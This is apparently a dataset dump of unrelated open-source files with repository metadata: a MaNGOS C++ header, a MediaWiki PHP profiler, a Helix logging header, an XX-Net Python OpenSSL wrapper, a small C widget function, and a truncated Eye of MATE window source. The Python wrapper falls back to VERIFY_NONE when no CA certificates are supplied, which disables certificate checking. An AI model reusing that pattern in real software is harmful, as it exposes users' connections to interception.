/** * MaNGOS is a full featured server for World of Warcraft, supporting * the following clients: 1.12.x, 2.4.3, 3.3.5a, 4.3.4a and 5.4.8 * * Copyright (C) 2005-2015 MaNGOS project <http://getmangos.eu> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * World of Warcraft, and all World of Warcraft or Warcraft art, images, * and lore are copyrighted by Blizzard Entertainment, Inc. */ #ifndef MANGOS_CREATIONPOLICY_H #define MANGOS_CREATIONPOLICY_H #include <stdlib.h> #include "Platform/Define.h" namespace MaNGOS { template<class T> /** * @brief OperatorNew policy creates an object on the heap using new. * */ class MANGOS_DLL_DECL OperatorNew { public: /** * @brief * * @return T */ static T* Create() { return (new T); } /** * @brief * * @param obj */ static void Destroy(T* obj) { delete obj; } }; template<class T> /** * @brief LocalStaticCreation policy creates an object on the stack the first time call Create. * */ class MANGOS_DLL_DECL LocalStaticCreation { /** * @brief * */ union MaxAlign { char t_[sizeof(T)]; /**< TODO */ short int shortInt_; /**< TODO */ int int_; /**< TODO */ long int longInt_; /**< TODO */ float float_; /**< TODO */ double double_; /**< TODO */ long double longDouble_; /**< TODO */ struct Test; int Test::* pMember_; /**< TODO */ /** * @brief * * @param Test::pMemberFn_)(int * @return int */ int (Test::*pMemberFn_)(int); }; public: /** * @brief * * @return T */ static T* Create() { static MaxAlign si_localStatic; return new(&si_localStatic) T; } /** * @brief * * @param obj */ static void Destroy(T* obj) { obj->~T(); } }; /** * CreateUsingMalloc by pass the memory manger. */ template<class T> /** * @brief * */ class MANGOS_DLL_DECL CreateUsingMalloc { public: /** * @brief * * @return T */ static T* Create() { void* p = malloc(sizeof(T)); if (!p) { return NULL; } return new(p) T; } /** * @brief * * @param p */ static void Destroy(T* p) { p->~T(); free(p); } }; template<class T, class CALL_BACK> /** * @brief CreateOnCallBack creates the object base on the call back. * */ class MANGOS_DLL_DECL CreateOnCallBack { public: /** * @brief * * @return T */ static T* Create() { return CALL_BACK::createCallBack(); } /** * @brief * * @param p */ static void Destroy(T* p) { CALL_BACK::destroyCallBack(p); } }; } #endif
Chuck5ta/Game-server-emulator
src/framework/Policies/CreationPolicy.h
C
gpl-2.0
4,504
<?php /** * Profiler showing execution trace. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @file * @ingroup Profiler */ /** * Execution trace * @todo document methods (?) * @ingroup Profiler */ class ProfilerSimpleTrace extends ProfilerSimple { var $trace = "Beginning trace: \n"; var $memory = 0; function profileIn( $functionname ) { parent::profileIn( $functionname ); $this->trace .= " " . sprintf("%6.1f",$this->memoryDiff()) . str_repeat( " ", count($this->mWorkStack)) . " > " . $functionname . "\n"; } function profileOut($functionname) { global $wgDebugFunctionEntry; if ( $wgDebugFunctionEntry ) { $this->debug(str_repeat(' ', count($this->mWorkStack) - 1).'Exiting '.$functionname."\n"); } list( $ofname, /* $ocount */ , $ortime ) = array_pop( $this->mWorkStack ); if ( !$ofname ) { $this->trace .= "Profiling error: $functionname\n"; } else { if ( $functionname == 'close' ) { $message = "Profile section ended by close(): {$ofname}"; $functionname = $ofname; $this->trace .= $message . "\n"; } elseif ( $ofname != $functionname ) { $this->trace .= "Profiling error: in({$ofname}), out($functionname)"; } $elapsedreal = $this->getTime() - $ortime; $this->trace .= sprintf( "%03.6f %6.1f", $elapsedreal, $this->memoryDiff() ) . str_repeat(" ", count( $this->mWorkStack ) + 1 ) . " < " . $functionname . "\n"; } } function memoryDiff() { $diff = memory_get_usage() - $this->memory; $this->memory = memory_get_usage(); return $diff / 1024; } function logData() { if ( php_sapi_name() === 'cli' ) { print "<!-- \n {$this->trace} \n -->"; } elseif ( $this->getContentType() === 'text/html' ) { print "<!-- \n {$this->trace} \n -->"; } elseif ( $this->getContentType() === 'text/javascript' ) { print "\n/*\n {$this->trace}\n*/"; } elseif ( $this->getContentType() === 'text/css' ) { print "\n/*\n {$this->trace}\n*/"; } } }
flamusdiu/mediawiki
includes/profiler/ProfilerSimpleTrace.php
PHP
gpl-2.0
2,680
/* ***** BEGIN LICENSE BLOCK ***** * Source last modified: $Id: hxstat.h,v 1.7 2004/07/09 18:21:50 hubbe Exp $ * * Portions Copyright (c) 1995-2004 RealNetworks, Inc. All Rights Reserved. * * The contents of this file, and the files included with this file, * are subject to the current version of the RealNetworks Public * Source License (the "RPSL") available at * http://www.helixcommunity.org/content/rpsl unless you have licensed * the file under the current version of the RealNetworks Community * Source License (the "RCSL") available at * http://www.helixcommunity.org/content/rcsl, in which case the RCSL * will apply. You may also obtain the license terms directly from * RealNetworks. You may not use this file except in compliance with * the RPSL or, if you have a valid RCSL with RealNetworks applicable * to this file, the RCSL. Please see the applicable RPSL or RCSL for * the rights, obligations and limitations governing use of the * contents of the file. * * Alternatively, the contents of this file may be used under the * terms of the GNU General Public License Version 2 or later (the * "GPL") in which case the provisions of the GPL are applicable * instead of those above. If you wish to allow use of your version of * this file only under the terms of the GPL, and not to allow others * to use your version of this file under the terms of either the RPSL * or RCSL, indicate your decision by deleting the provisions above * and replace them with the notice and other provisions required by * the GPL. If you do not delete the provisions above, a recipient may * use your version of this file under the terms of any one of the * RPSL, the RCSL or the GPL. * * This file is part of the Helix DNA Technology. RealNetworks is the * developer of the Original Code and owns the copyrights in the * portions it created. * * This file, and the files included with this file, is distributed * and made available on an 'AS IS' basis, WITHOUT WARRANTY OF ANY * KIND, EITHER EXPRESS OR IMPLIED, AND REALNETWORKS HEREBY DISCLAIMS * ALL SUCH WARRANTIES, INCLUDING WITHOUT LIMITATION, ANY WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, QUIET * ENJOYMENT OR NON-INFRINGEMENT. * * Technology Compatibility Kit Test Suite(s) Location: * http://www.helixcommunity.org/content/tck * * Contributor(s): * * ***** END LICENSE BLOCK ***** */ #ifndef _HXSTATLOG_ #define _HXSTATLOG_ #ifdef _MACINTOSH #include <stdlib.h> #endif #ifdef _WINDOWS #include <stdio.h> #endif #include "hlxclib/stdarg.h" #include "hxresult.h" #include "hxtypes.h" #include "../fileio/pub/chxdataf.h" #ifdef HELIX_CONFIG_NOSTATICS # include "globals/hxglobals.h" #endif class HXStatLog { public: HXStatLog(); ~HXStatLog(); HX_RESULT Open_Read (const char * filename); HX_RESULT Open_Write (const char * filename); HX_RESULT Open_WriteNoAppend (const char * filename); HX_RESULT Close (void); LONG32 Read (char *buf, ULONG32 max_buf_length); LONG32 Write (char *buf, ULONG32 buf_length); HX_RESULT StatPrintf (const char* fmt, ...); HX_RESULT ReadLine (char *buf, ULONG32 buf_length); HX_RESULT Seek (ULONG32 offset, UINT16 fromWhere); ULONG32 Tell (void); private: CHXDataFile* mStatFile; char* mStatBuffer; char* mStatCurrentPosition; INT16 mStatBufferLength; INT16 mStatBytesLeft; }; ///// // This is static implementation of the above class so that // the log info can be written from anywahere in the player to the same // log file...(opened once for each session) ///// class HXStaticStatLog { public: static HX_RESULT Open_Read(const char* filename) { if (LogFileInstance()) return HXR_ALREADY_OPEN; HX_RESULT theErr = HXR_OK; LogFileInstance() = new HXStatLog; if (!LogFileInstance()) theErr = HXR_OUTOFMEMORY; if (!theErr) { theErr = LogFileInstance()->Open_Read(filename); } // error in opening file? if (theErr && LogFileInstance()) { delete LogFileInstance(); LogFileInstance() = NULL; } return theErr; } static HX_RESULT Open_Write(const char* filename) { if (LogFileInstance()) return HXR_ALREADY_OPEN; HX_RESULT theErr = HXR_OK; LogFileInstance() = new HXStatLog; if (!LogFileInstance()) theErr = HXR_OUTOFMEMORY; if (!theErr) { theErr = LogFileInstance()->Open_Write(filename); } // error in opening file? if (theErr && LogFileInstance()) { delete LogFileInstance(); LogFileInstance() = NULL; } return theErr; } static HX_RESULT Close(void) { if (!LogFileInstance()) return HXR_INVALID_FILE; HX_RESULT theErr = HXR_OK; theErr = LogFileInstance()->Close(); delete LogFileInstance(); LogFileInstance() = NULL; return theErr; } static LONG32 Read(char* buf, ULONG32 max_buf_length) { if (!LogFileInstance()) return -1; return LogFileInstance()->Read(buf, max_buf_length); } static LONG32 Write(char* buf, ULONG32 buf_length) { if (!LogFileInstance()) return -1; return LogFileInstance()->Write(buf, buf_length); } static HX_RESULT StatPrintf(const char* fmt, ...) { if (!LogFileInstance()) return HXR_INVALID_FILE; HX_RESULT theErr = HXR_OK; #ifndef _MACINTOSH char buf[8096]; /* Flawfinder: ignore */ LONG32 bytes_written = 0; LONG32 bytes_towrite = 0; va_list args; va_start(args, fmt); bytes_towrite = vsnprintf(buf, sizeof(buf), fmt, args); // scanf va_end(args); if (bytes_towrite < 0) theErr = HXR_INVALID_PATH; if (!theErr) { bytes_written = LogFileInstance()->Write(buf, (ULONG32) bytes_towrite); if (bytes_written != bytes_towrite) theErr = HXR_INVALID_PATH; } #endif return theErr; } static HX_RESULT ReadLine (char *buf, ULONG32 buf_length) { if (!LogFileInstance()) return HXR_INVALID_FILE; return LogFileInstance()->ReadLine(buf, buf_length); } static HX_RESULT Seek (ULONG32 offset, UINT16 fromWhere) { if (!LogFileInstance()) return HXR_INVALID_FILE; return LogFileInstance()->Seek(offset, fromWhere); } static ULONG32 Tell (void) { if (!LogFileInstance()) return (ULONG32) -1; return LogFileInstance()->Tell(); } static inline HXStatLog*& LogFileInstance() { #if defined(HELIX_CONFIG_NOSTATICS) static const HXStatLog* const pmLogFile = NULL; return (HXStatLog*&)HXGlobalPtr::Get(&pmLogFile, NULL ); #else static HXStatLog* pmLogFile = NULL; return pmLogFile; #endif } }; #endif //_HXSTATLOG_
muromec/qtopia-ezx
src/3rdparty/libraries/helix/src/common/dbgtool/pub/hxstat.h
C
gpl-2.0
7,488
# OpenSSL is more stable then ssl # but OpenSSL is different then ssl, so need a wrapper import sys import os import OpenSSL SSLError = OpenSSL.SSL.WantReadError import select import time import socket import logging ssl_version = '' class SSLConnection(object): """OpenSSL Connection Wrapper""" def __init__(self, context, sock): self._context = context self._sock = sock self._connection = OpenSSL.SSL.Connection(context, sock) self._makefile_refs = 0 def __getattr__(self, attr): if attr not in ('_context', '_sock', '_connection', '_makefile_refs'): return getattr(self._connection, attr) def __iowait(self, io_func, *args, **kwargs): timeout = self._sock.gettimeout() or 0.1 fd = self._sock.fileno() time_start = time.time() while True: try: return io_func(*args, **kwargs) except (OpenSSL.SSL.WantReadError, OpenSSL.SSL.WantX509LookupError): sys.exc_clear() _, _, errors = select.select([fd], [], [fd], timeout) if errors: break time_now = time.time() if time_now - time_start > timeout: break except OpenSSL.SSL.WantWriteError: sys.exc_clear() _, _, errors = select.select([], [fd], [fd], timeout) if errors: break time_now = time.time() if time_now - time_start > timeout: break def accept(self): sock, addr = self._sock.accept() client = OpenSSL.SSL.Connection(sock._context, sock) return client, addr def do_handshake(self): self.__iowait(self._connection.do_handshake) def connect(self, *args, **kwargs): return self.__iowait(self._connection.connect, *args, **kwargs) def __send(self, data, flags=0): try: return self.__iowait(self._connection.send, data, flags) except OpenSSL.SSL.SysCallError as e: if e[0] == -1 and not data: # errors when writing empty strings are expected and can be ignored return 0 raise def __send_memoryview(self, data, flags=0): if hasattr(data, 'tobytes'): data = data.tobytes() return self.__send(data, flags) send = __send if sys.version_info >= (2, 7, 5) else __send_memoryview def recv(self, bufsiz, flags=0): pending = self._connection.pending() if pending: return self._connection.recv(min(pending, bufsiz)) try: return self.__iowait(self._connection.recv, bufsiz, flags) except OpenSSL.SSL.ZeroReturnError: return '' except OpenSSL.SSL.SysCallError as e: if e[0] == -1 and 'Unexpected EOF' in e[1]: # errors when reading empty strings are expected and can be ignored return '' raise def read(self, bufsiz, flags=0): return self.recv(bufsiz, flags) def write(self, buf, flags=0): return self.sendall(buf, flags) def close(self): if self._makefile_refs < 1: self._connection = None if self._sock: socket.socket.close(self._sock) else: self._makefile_refs -= 1 def makefile(self, mode='r', bufsize=-1): self._makefile_refs += 1 return socket._fileobject(self, mode, bufsize, close=True) @staticmethod def context_builder(ca_certs=None, cipher_suites=('ALL:!RC4-SHA:!ECDHE-RSA-RC4-SHA:!ECDHE-RSA-AES128-GCM-SHA256:!AES128-GCM-SHA256',)): # 'ALL', '!aNULL', '!eNULL' global ssl_version if not ssl_version: if hasattr(OpenSSL.SSL, "TLSv1_2_METHOD"): ssl_version = "TLSv1_2" elif hasattr(OpenSSL.SSL, "TLSv1_1_METHOD"): ssl_version = "TLSv1_1" elif hasattr(OpenSSL.SSL, "TLSv1_METHOD"): ssl_version = "TLSv1" else: ssl_version = "SSLv23" if sys.platform == "darwin": ssl_version = "TLSv1" logging.info("SSL use version:%s", ssl_version) protocol_version = getattr(OpenSSL.SSL, '%s_METHOD' % ssl_version) ssl_context = OpenSSL.SSL.Context(protocol_version) if ca_certs: ssl_context.load_verify_locations(os.path.abspath(ca_certs)) ssl_context.set_verify(OpenSSL.SSL.VERIFY_PEER, lambda c, x, e, d, ok: ok) else: ssl_context.set_verify(OpenSSL.SSL.VERIFY_NONE, lambda c, x, e, d, ok: ok) ssl_context.set_cipher_list(':'.join(cipher_suites)) return ssl_context
lichuan261/wuand
XX-Net/goagent/3.1.49/local/openssl_wrap.py
Python
gpl-2.0
4,813
/* Lucy the Diamond Girl - Game where player collects diamonds. Copyright (C) 2005-2015 Joni Yrjänä <[email protected]> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Complete license can be found in the LICENSE file. */ #include "widget.h" #include <assert.h> void widget_set_navigation_right(struct widget * widget, struct widget * right) { assert(widget != NULL); assert(right != NULL); assert(widget != right); assert(widget->navigation_right_ == NULL); widget->navigation_right_ = right; stack_push(widget->widgets_linking_to_this, right); stack_push(right->widgets_linking_to_this, widget); }
Peanhua/diamond-girl
src/widget_set_navigation_right.c
C
gpl-2.0
1,294
/* Eye Of Mate - Main Window * * Copyright (C) 2000-2008 The Free Software Foundation * * Author: Lucas Rocha <[email protected]> * * Based on code by: * - Federico Mena-Quintero <[email protected]> * - Jens Finke <[email protected]> * Based on evince code (shell/ev-window.c) by: * - Martin Kretzschmar <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <math.h> #include "eom-window.h" #include "eom-scroll-view.h" #include "eom-debug.h" #include "eom-file-chooser.h" #include "eom-thumb-view.h" #include "eom-list-store.h" #include "eom-sidebar.h" #include "eom-statusbar.h" #include "eom-preferences-dialog.h" #include "eom-properties-dialog.h" #include "eom-print.h" #include "eom-error-message-area.h" #include "eom-application.h" #include "eom-thumb-nav.h" #include "eom-config-keys.h" #include "eom-job-queue.h" #include "eom-jobs.h" #include "eom-util.h" #include "eom-save-as-dialog-helper.h" #include "eom-plugin-engine.h" #include "eom-close-confirmation-dialog.h" #include "eom-clipboard-handler.h" #include "eom-enum-types.h" #include "egg-toolbar-editor.h" #include "egg-editable-toolbar.h" #include "egg-toolbars-model.h" #include <glib.h> #include <glib-object.h> #include <glib/gi18n.h> #include <gio/gio.h> #include <gdk/gdkkeysyms.h> #include <gio/gdesktopappinfo.h> #include <gtk/gtk.h> #if HAVE_LCMS #include <X11/Xlib.h> #include <X11/Xatom.h> #ifdef GDK_WINDOWING_X11 #include <gdk/gdkx.h> #endif #include <lcms2.h> #endif #define MATE_DESKTOP_USE_UNSTABLE_API #include <libmate-desktop/mate-desktop-utils.h> #include <libmate-desktop/mate-aboutdialog.h> #define EOM_WINDOW_GET_PRIVATE(object) \ (G_TYPE_INSTANCE_GET_PRIVATE ((object), EOM_TYPE_WINDOW, EomWindowPrivate)) G_DEFINE_TYPE (EomWindow, eom_window, GTK_TYPE_WINDOW); #define EOM_WINDOW_MIN_WIDTH 440 #define EOM_WINDOW_MIN_HEIGHT 350 #define EOM_WINDOW_DEFAULT_WIDTH 540 #define EOM_WINDOW_DEFAULT_HEIGHT 450 #define EOM_WINDOW_FULLSCREEN_TIMEOUT 5 * 1000 #define EOM_WINDOW_FULLSCREEN_POPUP_THRESHOLD 5 #define EOM_RECENT_FILES_GROUP "Graphics" #define EOM_RECENT_FILES_APP_NAME "Eye of MATE Image Viewer" #define EOM_RECENT_FILES_LIMIT 5 #define EOM_WALLPAPER_FILENAME "eom-wallpaper" #define is_rtl (gtk_widget_get_default_direction () == GTK_TEXT_DIR_RTL) #if GTK_CHECK_VERSION (3, 2, 0) #define gtk_hbox_new(X,Y) gtk_box_new(GTK_ORIENTATION_HORIZONTAL,Y) #define gtk_vbox_new(X,Y) gtk_box_new(GTK_ORIENTATION_VERTICAL,Y) #endif typedef enum { EOM_WINDOW_STATUS_UNKNOWN, EOM_WINDOW_STATUS_INIT, EOM_WINDOW_STATUS_NORMAL } EomWindowStatus; enum { PROP_0, PROP_COLLECTION_POS, PROP_COLLECTION_RESIZABLE, PROP_STARTUP_FLAGS }; enum { SIGNAL_PREPARED, SIGNAL_LAST }; static guint signals[SIGNAL_LAST] = { 0 }; struct _EomWindowPrivate { GSettings *view_settings; GSettings *ui_settings; GSettings *fullscreen_settings; GSettings *lockdown_settings; EomListStore *store; EomImage *image; EomWindowMode mode; EomWindowStatus status; GtkUIManager *ui_mgr; GtkWidget *box; GtkWidget *layout; GtkWidget *cbox; GtkWidget *view; GtkWidget *sidebar; GtkWidget *thumbview; GtkWidget *statusbar; GtkWidget *nav; GtkWidget *message_area; GtkWidget *toolbar; GObject *properties_dlg; GtkActionGroup *actions_window; GtkActionGroup *actions_image; GtkActionGroup *actions_collection; GtkActionGroup *actions_recent; GtkWidget *fullscreen_popup; GSource *fullscreen_timeout_source; gboolean slideshow_random; gboolean slideshow_loop; gint slideshow_switch_timeout; GSource *slideshow_switch_source; guint recent_menu_id; EomJob *load_job; EomJob *transform_job; EomJob *save_job; GFile *last_save_as_folder; EomJob *copy_job; guint image_info_message_cid; guint tip_message_cid; guint copy_file_cid; EomStartupFlags flags; GSList *file_list; EomWindowCollectionPos collection_position; gboolean collection_resizable; GtkActionGroup *actions_open_with; guint open_with_menu_id; gboolean save_disabled; gboolean needs_reload_confirmation; GtkPageSetup *page_setup; #ifdef HAVE_LCMS cmsHPROFILE *display_profile; #endif }; static void eom_window_cmd_fullscreen (GtkAction *action, gpointer user_data); static void eom_window_run_fullscreen (EomWindow *window, gboolean slideshow); static void eom_window_cmd_slideshow (GtkAction *action, gpointer user_data); static void eom_window_cmd_pause_slideshow (GtkAction *action, gpointer user_data); static void eom_window_stop_fullscreen (EomWindow *window, gboolean slideshow); static void eom_job_load_cb (EomJobLoad *job, gpointer data); static void eom_job_save_progress_cb (EomJobSave *job, float progress, gpointer data); static void eom_job_progress_cb (EomJobLoad *job, float progress, gpointer data); static void eom_job_transform_cb (EomJobTransform *job, gpointer data); static void fullscreen_set_timeout (EomWindow *window); static void fullscreen_clear_timeout (EomWindow *window); static void update_action_groups_state (EomWindow *window); static void open_with_launch_application_cb (GtkAction *action, gpointer callback_data); static void eom_window_update_openwith_menu (EomWindow *window, EomImage *image); static void eom_window_list_store_image_added (GtkTreeModel *tree_model, GtkTreePath *path, GtkTreeIter *iter, gpointer user_data); static void eom_window_list_store_image_removed (GtkTreeModel *tree_model, GtkTreePath *path, gpointer user_data); static void eom_window_set_wallpaper (EomWindow *window, const gchar *filename, const gchar *visible_filename); static gboolean eom_window_save_images (EomWindow *window, GList *images); static void eom_window_finish_saving (EomWindow *window); static GAppInfo *get_appinfo_for_editor (EomWindow *window); static GQuark eom_window_error_quark (void) { static GQuark q = 0; if (q == 0) q = g_quark_from_static_string ("eom-window-error-quark"); return q; } static void eom_window_set_collection_mode (EomWindow *window, EomWindowCollectionPos position, gboolean resizable) { EomWindowPrivate *priv; GtkWidget *hpaned; EomThumbNavMode mode = EOM_THUMB_NAV_MODE_ONE_ROW; eom_debug (DEBUG_PREFERENCES); g_return_if_fail (EOM_IS_WINDOW (window)); priv = window->priv; if (priv->collection_position == position && priv->collection_resizable == resizable) return; priv->collection_position = position; priv->collection_resizable = resizable; hpaned = gtk_widget_get_parent (priv->sidebar); g_object_ref (hpaned); g_object_ref (priv->nav); gtk_container_remove (GTK_CONTAINER (priv->layout), hpaned); gtk_container_remove (GTK_CONTAINER (priv->layout), priv->nav); gtk_widget_destroy (priv->layout); switch (position) { case EOM_WINDOW_COLLECTION_POS_BOTTOM: case EOM_WINDOW_COLLECTION_POS_TOP: if (resizable) { mode = EOM_THUMB_NAV_MODE_MULTIPLE_ROWS; #if GTK_CHECK_VERSION (3, 2, 0) priv->layout = gtk_paned_new (GTK_ORIENTATION_VERTICAL); #else priv->layout = gtk_vpaned_new (); #endif if (position == EOM_WINDOW_COLLECTION_POS_BOTTOM) { gtk_paned_pack1 (GTK_PANED (priv->layout), hpaned, TRUE, FALSE); gtk_paned_pack2 (GTK_PANED (priv->layout), priv->nav, FALSE, TRUE); } else { gtk_paned_pack1 (GTK_PANED (priv->layout), priv->nav, FALSE, TRUE); gtk_paned_pack2 (GTK_PANED (priv->layout), hpaned, TRUE, FALSE); } } else { mode = EOM_THUMB_NAV_MODE_ONE_ROW; priv->layout = gtk_vbox_new (FALSE, 2); if (position == EOM_WINDOW_COLLECTION_POS_BOTTOM) { gtk_box_pack_start (GTK_BOX (priv->layout), hpaned, TRUE, TRUE, 0); gtk_box_pack_start (GTK_BOX (priv->layout), priv->nav, FALSE, FALSE, 0); } else { gtk_box_pack_start (GTK_BOX (priv->layout), priv->nav, FALSE, FALSE, 0); gtk_box_pack_start (GTK_BOX (priv->layout), hpaned, TRUE, TRUE, 0); } } break; case EOM_WINDOW_COLLECTION_POS_LEFT: case EOM_WINDOW_COLLECTION_POS_RIGHT: if (resizable) { mode = EOM_THUMB_NAV_MODE_MULTIPLE_COLUMNS; #if GTK_CHECK_VERSION (3, 2, 0) priv->layout = gtk_paned_new (GTK_ORIENTATION_HORIZONTAL); #else priv->layout = gtk_hpaned_new (); #endif if (position == EOM_WINDOW_COLLECTION_POS_LEFT) { gtk_paned_pack1 (GTK_PANED (priv->layout), priv->nav, FALSE, TRUE); gtk_paned_pack2 (GTK_PANED (priv->layout), hpaned, TRUE, FALSE); } else { gtk_paned_pack1 (GTK_PANED (priv->layout), hpaned, TRUE, FALSE); gtk_paned_pack2 (GTK_PANED (priv->layout), priv->nav, FALSE, TRUE); } } else { mode = EOM_THUMB_NAV_MODE_ONE_COLUMN; priv->layout = gtk_hbox_new (FALSE, 2); if (position == EOM_WINDOW_COLLECTION_POS_LEFT) { gtk_box_pack_start (GTK_BOX (priv->layout), priv->nav, FALSE, FALSE, 0); gtk_box_pack_start (GTK_BOX (priv->layout), hpaned, TRUE, TRUE, 0); } else { gtk_box_pack_start (GTK_BOX (priv->layout), hpaned, TRUE, TRUE, 0); gtk_box_pack_start (GTK_BOX (priv->layout), priv->nav, FALSE, FALSE, 0); } } break; } gtk_box_pack_end (GTK_BOX (priv->cbox), priv->layout, TRUE, TRUE, 0); eom_thumb_nav_set_mode (EOM_THUMB_NAV (priv->nav), mode); if (priv->mode != EOM_WINDOW_MODE_UNKNOWN) { update_action_groups_state (window); } } static void eom_window_can_save_changed_cb (GSettings *settings, gchar *key, gpointer user_data) { EomWindowPrivate *priv; EomWindow *window; gboolean save_disabled = FALSE; GtkAction *action_save, *action_save_as; eom_debug (DEBUG_PREFERENCES); g_return_if_fail (EOM_IS_WINDOW (user_data)); window = EOM_WINDOW (user_data); priv = EOM_WINDOW (user_data)->priv; save_disabled = g_settings_get_boolean (settings, key); priv->save_disabled = save_disabled; action_save = gtk_action_group_get_action (priv->actions_image, "ImageSave"); action_save_as = gtk_action_group_get_action (priv->actions_image, "ImageSaveAs"); if (priv->save_disabled) { gtk_action_set_sensitive (action_save, FALSE); gtk_action_set_sensitive (action_save_as, FALSE); } else { EomImage *image = eom_window_get_image (window); if (EOM_IS_IMAGE (image)) { gtk_action_set_sensitive (action_save, eom_image_is_modified (image)); gtk_action_set_sensitive (action_save_as, TRUE); } } } #ifdef HAVE_LCMS static cmsHPROFILE * eom_window_get_display_profile (GdkScreen *screen) { Display *dpy; Atom icc_atom, type; int format; gulong nitems; gulong bytes_after; gulong length; guchar *str; int result; cmsHPROFILE *profile; char *atom_name; dpy = GDK_DISPLAY_XDISPLAY (gdk_screen_get_display (screen)); if (gdk_screen_get_number (screen) > 0) atom_name = g_strdup_printf ("_ICC_PROFILE_%d", gdk_screen_get_number (screen)); else atom_name = g_strdup ("_ICC_PROFILE"); icc_atom = gdk_x11_get_xatom_by_name_for_display (gdk_screen_get_display (screen), atom_name); g_free (atom_name); result = XGetWindowProperty (dpy, GDK_WINDOW_XID (gdk_screen_get_root_window (screen)), icc_atom, 0, G_MAXLONG, False, XA_CARDINAL, &type, &format, &nitems, &bytes_after, (guchar **)&str); /* TODO: handle bytes_after != 0 */ if ((result == Success) && (type == XA_CARDINAL) && (nitems > 0)) { switch (format) { case 8: length = nitems; break; case 16: length = sizeof(short) * nitems; break; case 32: length = sizeof(long) * nitems; break; default: eom_debug_message (DEBUG_LCMS, "Unable to read profile, not correcting"); XFree (str); return NULL; } profile = cmsOpenProfileFromMem (str, length); if (G_UNLIKELY (profile == NULL)) { eom_debug_message (DEBUG_LCMS, "Invalid display profile, " "not correcting"); } XFree (str); } else { profile = NULL; eom_debug_message (DEBUG_LCMS, "No profile, not correcting"); } return profile; } #endif static void update_image_pos (EomWindow *window) { EomWindowPrivate *priv; gint pos = -1, n_images = 0; priv = window->priv; n_images = eom_list_store_length (EOM_LIST_STORE (priv->store)); if (n_images > 0) { pos = eom_list_store_get_pos_by_image (EOM_LIST_STORE (priv->store), priv->image); } /* Images: (image pos) / (n_total_images) */ eom_statusbar_set_image_number (EOM_STATUSBAR (priv->statusbar), pos + 1, n_images); } static void update_status_bar (EomWindow *window) { EomWindowPrivate *priv; char *str = NULL; g_return_if_fail (EOM_IS_WINDOW (window)); eom_debug (DEBUG_WINDOW); priv = window->priv; if (priv->image != NULL && eom_image_has_data (priv->image, EOM_IMAGE_DATA_DIMENSION)) { int zoom, width, height; goffset bytes = 0; zoom = floor (100 * eom_scroll_view_get_zoom (EOM_SCROLL_VIEW (priv->view)) + 0.5); eom_image_get_size (priv->image, &width, &height); bytes = eom_image_get_bytes (priv->image); if ((width > 0) && (height > 0)) { char *size_string; size_string = g_format_size (bytes); /* Translators: This is the string displayed in the statusbar * The tokens are from left to right: * - image width * - image height * - image size in bytes * - zoom in percent */ str = g_strdup_printf (ngettext("%i × %i pixel %s %i%%", "%i × %i pixels %s %i%%", height), width, height, size_string, zoom); g_free (size_string); } update_image_pos (window); } gtk_statusbar_pop (GTK_STATUSBAR (priv->statusbar), priv->image_info_message_cid); gtk_statusbar_push (GTK_STATUSBAR (priv->statusbar), priv->image_info_message_cid, str ? str : ""); g_free (str); } static void eom_window_set_message_area (EomWindow *window, GtkWidget *message_area) { if (window->priv->message_area == message_area) return; if (window->priv->message_area != NULL) gtk_widget_destroy (window->priv->message_area); window->priv->message_area = message_area; if (message_area == NULL) return; gtk_box_pack_start (GTK_BOX (window->priv->cbox), window->priv->message_area, FALSE, FALSE, 0); g_object_add_weak_pointer (G_OBJECT (window->priv->message_area), (void *) &window->priv->message_area); } static void update_action_groups_state (EomWindow *window) { EomWindowPrivate *priv; GtkAction *action_collection; GtkAction *action_sidebar; GtkAction *action_fscreen; GtkAction *action_sshow; GtkAction *action_print; gboolean print_disabled = FALSE; gboolean show_image_collection = FALSE; gint n_images = 0; g_return_if_fail (EOM_IS_WINDOW (window)); eom_debug (DEBUG_WINDOW); priv = window->priv; action_collection = gtk_action_group_get_action (priv->actions_window, "ViewImageCollection"); action_sidebar = gtk_action_group_get_action (priv->actions_window, "ViewSidebar"); action_fscreen = gtk_action_group_get_action (priv->actions_image, "ViewFullscreen"); action_sshow = gtk_action_group_get_action (priv->actions_collection, "ViewSlideshow"); action_print = gtk_action_group_get_action (priv->actions_image, "ImagePrint"); g_assert (action_collection != NULL); g_assert (action_sidebar != NULL); g_assert (action_fscreen != NULL); g_assert (action_sshow != NULL); g_assert (action_print != NULL); if (priv->store != NULL) { n_images = eom_list_store_length (EOM_LIST_STORE (priv->store)); } if (n_images == 0) { gtk_widget_hide (priv->layout); gtk_action_group_set_sensitive (priv->actions_window, TRUE); 